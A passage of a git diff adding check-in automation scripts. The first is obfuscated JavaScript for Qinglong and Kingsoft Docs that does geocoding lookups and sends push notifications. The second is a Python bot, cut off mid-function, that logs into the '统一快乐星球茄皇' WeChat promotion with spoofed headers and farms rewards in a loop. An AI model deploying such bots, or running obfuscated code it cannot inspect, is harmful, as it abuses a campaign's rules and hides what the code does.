\uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + messageHeader[posLabel] = "👨‍🚀 " + messageName + // console.log(messageName) + lng = Range('D'+pos).Value2 // 经度 longitude + lat = Range('E'+pos).Value2 // 纬度 latitude + let url = "https://api.suyanw.cn/api/location_geocoder_address.php?lng=" + lng + "&lat=" + lat + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + + resp = resp.text() + // console.log(resp) + + // 提取信息 + // 写入 + output = resp + console.log(output) + Application.Range('F'+pos).Value2 = output + + console.log("✨ 获取成功" ) + // message = "" + // pushDirect(message) + + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 签到结束 + + sleep(2000); + + + return flagResultFinish +} + +// 具体的执行函数 +function execHandle(cookie, pos) { + // 清零操作,保证不同用户的消息的独立 + // 青龙适配,青龙微适配 + posHttp = 0 // 置空请求 + qlpushFlag -= 1 // 一个用户只会执行一次execHandle,因此可用于记录当前用户 + messageSuccess = ""; + messageFail = ""; + + resp = "" + + if(qlSwitch != 1){ // 选择金山文档 + resultHandle(resp, pos) + } +} \ No newline at end of file diff --git a/脚本库/web版/账密/统一快乐星球茄皇/2026-05-14_qiehuang_678fa340.py b/脚本库/web版/账密/统一快乐星球茄皇/2026-05-14_qiehuang_678fa340.py new file mode 100644 index 0000000..aa8fd02 --- /dev/null +++ b/脚本库/web版/账密/统一快乐星球茄皇/2026-05-14_qiehuang_678fa340.py @@ -0,0 +1,519 @@ +# Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/qiehuang.py +# Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/qiehuang.py +# Repo: smallfawn/QLScriptPublic +# Path: daily/qiehuang.py +# UploadedAt: 2026-05-14T17:47:57+08:00 +# SHA256: 678fa3406b5408e8ba04725e090ea9f8db8951fb4406c132dd23950af0270e0a +# Category: web版/账密 +# Evidence: web/H5关键词 + username/password/login + +# cron: 25 10 * * * +# new Env('统一快乐星球茄皇') + +import requests +import json +import os +import time +import re +import random +from collections import defaultdict +from notify import send + +users = os.getenv("QH", '').splitlines() +# 清洗数据:去除每个用户字符串的首尾空格,过滤空行/全空格的无效数据 +users = [user.strip() for user in users if user.strip()] + +# 解析为 (wid, 手机号) 列表 +parsed_users = [] +for user_str in users: + if "#" in user_str: + # 按#拆分(只拆1次,避免手机号含#导致拆分错误) + wid, phone = user_str.split("#", 1) + parsed_users.append((wid.strip(), phone.strip())) + else: + # 兼容旧格式:只有wid没有手机号时,手机号为空字符串 + parsed_users.append((user_str.strip(), "")) + +# UA可自行替换为自己的 +user_agent = "Mozilla/5.0 (Linux; Android 14; 23046RP50C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/142.0.7444.172 Safari/537.36 XWEB/1420045 MMWEBSDK/20250201 MMWEBID/5714 MicroMessenger/8.0.57.2820(0x28003956) WeChat/arm64 Weixin Android Tablet NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9" +STEP_ORDER = ["登录", "领取种子", "签到", "浏览任务", "收获作物", "播种", "循环浇水"] +STEP_EMOJI = {"登录": "🔑", "领取种子": "🌱", "签到": "📅", "浏览任务": "🔍", "收获作物": "🌾", "播种": "🌱", "循环浇水": "🔄"} + +def _short(s, n=120): + s = s.strip() + return s if len(s) <= n else s[:n - 1] + "…" + +def _pick_status(line: str) -> str: + if "✅" in line: return "✅" + if "⚠️" in line: return "⚠️" + if "❌" in line: return "❌" + return "ℹ️" + +def _step_key(line: str) -> str: + for k in STEP_ORDER: + if k in line: + return k + return "信息" + +def _pull_resource_snapshot(lines): + res = {} + for line in reversed(lines): + if "☀️" in line: + try: res["sun"] = int(re.findall(r"☀️(\d+)", line)[0]) + except: pass + if "💧" in line: + try: res["water"] = int(re.findall(r"💧(\d+)", line)[0]) + except: pass + if "🍅" in line: + try: res["fruit"] = int(re.findall(r"🍅(\d+)", line)[0]) + except: pass + if len(res) >= 2: + break + return res + +def render_report(all_lines): + blocks, cur = [], [] + for ln in all_lines: + if ln.strip().startswith("👤 用户"): + if cur: blocks.append(cur) + cur = [ln.strip()] + elif ln is not None: + cur.append(ln.rstrip()) + if cur: blocks.append(cur) + out = [] + for b in blocks: + if not b: continue + header = b[0].strip() + out.append("━━━━━━━━━━━━━━━━━━━━━━") + out.append(header) + bucket = defaultdict(list) + for ln in b[1:]: + if not ln.strip(): continue + bucket[_step_key(ln)].append(ln) + snap = _pull_resource_snapshot(b) + if snap: + res_line = "📊 当前资源:" + if "sun" in snap: res_line += f"☀️{snap['sun']} " + if "water" in snap: res_line += f"💧{snap['water']} " + if "fruit" in snap: res_line += f"🍅{snap['fruit']} " + out.append(res_line.strip()) + for step in STEP_ORDER + ["信息"]: + if step not in bucket: continue + lines = bucket[step] + cleaned, seen = [], set() + for ln in lines: + if set(ln.strip()) in (set("="),): + continue + # 关键修复:循环浇水日志不做去重(保留所有记录) + if step == "循环浇水": + cleaned.append(ln) + else: + norm = re.sub(r"账号\d+:", "", re.sub(r"\s+", " ", ln)).strip() + if norm not in seen: + seen.add(norm) + cleaned.append(ln) + # 循环浇水保留所有记录 + if step == "循环浇水": + picked = cleaned + else: + picked = cleaned[-1:] if cleaned else [] + for pln in picked: + status = _pick_status(pln) + icon = STEP_EMOJI.get(step, "•") + body = re.sub(r"^[🔑🌱📅🔍🌾🔄]+\s*" + re.escape(step) + r"[::]?\s*", "", pln) + body = re.sub(r"^[✅❌⚠️ℹ️]+\s*", "", body) + out.append(f"{icon} {step} {status} {_short(body)}") + succ = sum("✅" in ln for ln in b) + fail = sum("❌" in ln for ln in b) + warn = sum("⚠️" in ln for ln in b) + out.append(f"🧾 小结:成功 {succ} · 预警 {warn} · 失败 {fail}") + out.append("━━━━━━━━━━━━━━━━━━━━━━") + return "\n".join(out) + + +def login(wid, phone, user_logs): + step = "登录" + # 校验手机号是否存在 + if not phone: + msg = "未配置手机号,登录失败 🔒" + print(msg) + user_logs.append(f"🔑 {step}: {msg}") + return None + try: + url = "https://api.zhumanito.cn/api/login" + # 新增手机号参数 wm_phone + payload = {"wid": wid, "wm_phone": phone} + headers = {'User-Agent': user_agent, 'Content-Type': "application/json"} + response = requests.post(url, data=json.dumps(payload), headers=headers) + response.raise_for_status() + dljson = response.json() + # 响应格式新增 code 字段校验 + if dljson.get("code") == 200 and 'data' in dljson and 'token' in dljson['data'] and 'user' in dljson['data'] and 'land' in dljson['data']: + msg = f"登录成功(手机号:{phone})✅" + print(msg) + user_logs.append(f"🔑 {step}: {msg}") + time.sleep(random.uniform(4, 5)) + return { + "token": dljson['data']['token'], + "user_data": dljson['data']['user'], + "land_data": dljson['data']['land'] + } + else: + msg = f"登录失败,返回数据: {dljson} ❌" + print(msg) + user_logs.append(f"🔑 {step}: {msg}") + return None + except Exception as e: + msg = f"登录出错(手机号:{phone}): {str(e)} ❌" + print(msg) + user_logs.append(f"🔑 {step}: {msg}") + return None + +def get_seeds(authorization, user_logs): + step = "领取种子" + if not authorization: + msg = "未获取到授权,无法领取种子 🔒" + print(msg) + user_logs.append(f"🌱 {step}: {msg}") + return + try: + url = "https://api.zhumanito.cn/api/guide" + headers = {'User-Agent': user_agent, 'Content-Type': "application/json", 'authorization': authorization} + for st in (1, 2): + payload = {"status": st} + response = requests.post(url, data=json.dumps(payload), headers=headers) + response.raise_for_status() + user_logs.append(f"🌱 {step}: 领取/引导完成 ✅") + time.sleep(random.uniform(4, 5)) + except Exception as e: + msg = f"领取种子出错: {str(e)} ❌" + print(msg) + user_logs.append(f"🌱 {step}: {msg}") + +def check_in(authorization, user_logs): + step = "签到" + if not authorization: + msg = "未获取到授权,无法签到 🔒" + print(msg) + user_logs.append(f"📅 {step}: {msg}") + return + try: + url = "https://api.zhumanito.cn/api/task/complete" + headers = {'User-Agent': user_agent, 'Content-Type': "application/x-www-form-urlencoded", 'authorization': authorization} + response = requests.post(url, headers=headers) + response_data = response.json() + if response_data.get("msg") == "成功": + msg = "签到成功 ✅" + print(f"签到结果: {msg}") + user_logs.append(f"📅 {step}: {msg}") + elif response_data.get("msg") == "不可重复完成": + msg = "今日已签到,无需重复操作 ✅" + print(f"签到结果: {msg}") + user_logs.append(f"📅 {step}: {msg}") + else: + msg = f"失败,原因: {response_data.get('msg', '未知错误')} ❌" + print(f"签到结果: {msg}") + user_logs.append(f"📅 {step}: {msg}") + time.sleep(random.uniform(4, 5)) + except Exception as e: + msg = f"签到出错: {str(e)} ❌" + print(msg) + user_logs.append(f"📅 {step}: {msg}") + +def explore(authorization, wid, user_logs): + step = "浏览任务" + if not authorization: + msg = "未获取到授权,无法执行浏览任务 🔒" + print(msg) + user_logs.append(f"🔍 {step}: {msg}") + return + max_retry = 3 + retry_count = 0 + while retry_count < max_retry: + try: + url = f"https://api.zhumanito.cn/?wid={wid}" + headers = { + 'Host': 'api.zhumanito.cn', + 'User-Agent': user_agent, + 'authorization': authorization, + 'sec-ch-ua': '"Chromium";v="142", "Android WebView";v="142", "Not_A Brand";v="99"', + 'sec-ch-ua-mobile': '?0', + 'sec-ch-ua-platform': '"Android"', + 'upgrade-insecure-requests': '1', + 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', + 'x-requested-with': 'com.tencent.mm', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'navigate', + 'sec-fetch-user': '?1', + 'sec-fetch-dest': 'document', + 'referer': 'https://h5.zhumanito.cn/', + 'accept-encoding': 'gzip, deflate, br, zstd', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'priority': 'u=0, i' + } + response = requests.get(url, headers=headers, allow_redirects=False, timeout=10, verify=True) + if response.status_code == 302: + msg = "浏览任务完成✅" + print(f"浏览任务:{msg}") + user_logs.append(f"🔍 {step}: {msg}") + time.sleep(random.uniform(4, 5)) + break + elif response.status_code == 429: + retry_after = int(response.headers.get("Retry-After", "1")) + retry_count += 1 + if retry_count < max_retry: + msg = f"浏览请求限速,等待{retry_after}秒后重试(第{retry_count}/{max_retry}次)" + print(f"浏览任务:{msg}") + time.sleep(retry_after) + else: + msg = f"浏览请求多次限速,放弃重试 ❌" + print(f"浏览任务:{msg}") + user_logs.append(f"🔍 {step}: {msg}") + else: + msg = f"浏览失败,状态码: {response.status_code} ❌" + print(f"浏览任务:{msg}") + user_logs.append(f"🔍 {step}: {msg}") + break + except requests.exceptions.RequestException as e: + msg = f"浏览任务出错: {str(e)} ❌" + print(msg) + user_logs.append(f"🔍 {step}: {msg}") + break + +def harvest(authorization, user_logs, account): + step = "收获作物" + try: + url = "https://api.zhumanito.cn/api/harvest" + headers = { + 'User-Agent': user_agent, + 'Content-Type': "application/x-www-form-urlencoded;charset=utf-8", + 'authorization': authorization + } + before_fruit = int(account["user_data"].get("fruit_num", 0)) + response = requests.post(url, headers=headers, data=b"", timeout=15) + response.raise_for_status() + res_json = response.json() + if res_json.get("code") == 200: + account["user_data"] = res_json["data"]["user"] + account["land_data"] = res_json["data"]["land"] + after_fruit = int(account["user_data"].get("fruit_num", 0)) + total_after = int(account["user_data"].get("total_fruit_num", after_fruit)) + delta = max(0, after_fruit - before_fruit) + msg = f"收获成功!🍅+{delta} → 现有 {after_fruit}(累计 {total_after})" + print(msg) + user_logs.append(f"🌾 {step}: {msg}") + snap_line = f"📊 收获后资源:☀️{account['user_data'].get('sun_num',0)} 💧{account['user_data'].get('water_num',0)} 🍅{after_fruit}" + print(snap_line) + user_logs.append(snap_line) + time.sleep(random.uniform(4, 5)) + return True + else: + msg = f"收获失败: {res_json.get('msg', '未知信息')} ⚠️" + print(msg) + user_logs.append(f"🌾 {step}: {msg}") + return False + except Exception as e: + msg = f"收获请求出错: {str(e)} ❌" + print(msg) + user_logs.append(f"🌾 {step}: {msg}") + return False + +def plant_seed(authorization, user_logs, account): + step = "播种" + try: + url = "https://api.zhumanito.cn/api/seed" + headers = { + 'User-Agent': user_agent, + 'Content-Type': "application/x-www-form-urlencoded;charset=utf-8", + 'authorization': authorization + } + response = requests.post(url, headers=headers, data=b"", timeout=15) + response.raise_for_status() + res_json = response.json() + if res_json.get("code") == 200: + msg = "播种成功!✅" + print(msg) + user_logs.append(f"🌱 {step}: {msg}") + account["user_data"] = res_json["data"]["user"] + account["land_data"] = res_json["data"]["land"] + time.sleep(random.uniform(4, 5)) + return True + else: + msg = f"播种失败: {res_json.get('msg', '未知信息')} ⚠️" + print(msg) + user_logs.append(f"🌱 {step}: {msg}") + return False + except Exception as e: + msg = f"播种请求出错: {str(e)} ❌" + print(msg) + user_logs.append(f"🌱 {step}: {msg}") + return False + +def water_once(headers, account_idx): + """单次浇水(带限速重试)""" + max_retry = 3 + retry_count = 0 + while retry_count < max_retry: + try: + response = requests.post( + "https://api.zhumanito.cn/api/water", + headers=headers, + data=b"", + allow_redirects=False, + timeout=(25, 30) + ) + + if response.status_code == 200: + return response.json() + elif response.status_code == 429: + retry_after = int(response.headers.get("Retry-After", "1")) + retry_count += 1 + if retry_count < max_retry: + print(f"账号{account_idx}:浇水请求限速,等待{retry_after}秒后重试(第{retry_count}/{max_retry}次)") + time.sleep(retry_after) + else: + raise Exception(f"浇水请求多次限速({max_retry}次),放弃重试") + else: + raise Exception(f"响应状态码异常: {response.status_code},内容: {response.text}") + except json.JSONDecodeError: + raise Exception(f"返回非JSON数据: {response.text}") + except Exception as e: + if retry_count >= max_retry - 1: + raise e + retry_count += 1 + time.sleep(1) + return None + +def loop_watering(headers, account_idx, account, user_logs): + step = "循环浇水" + user_logs.append(f"🔄 {step}:进入循环浇水(需💧≥20且☀️≥20)") + print(f"\n🔄 账号{account_idx}:进入循环浇水(需💧≥20且☀️≥20)") + + water_headers = headers.copy() + water_headers["Content-Type"] = "application/x-www-form-urlencoded;charset=UTF-8" + + while True: + water = account["user_data"].get("water_num", 0) + sun = account["user_data"].get("sun_num", 0) + + if water >= 20 and sun >= 20: + log_msg = f"🔄 {step}:📌 账号{account_idx}:资源满足(💧{water},☀️{sun}),浇水..." + print(log_msg) + user_logs.append(log_msg) + + try: + res = water_once(water_headers, account_idx) + + if res.get("code") == 200: + # 浇水成功,更新用户数据 + account["user_data"] = res["data"]["user"] + land = res["data"].get("land", []) + + success_msg = f"🔄 {step}:✅ 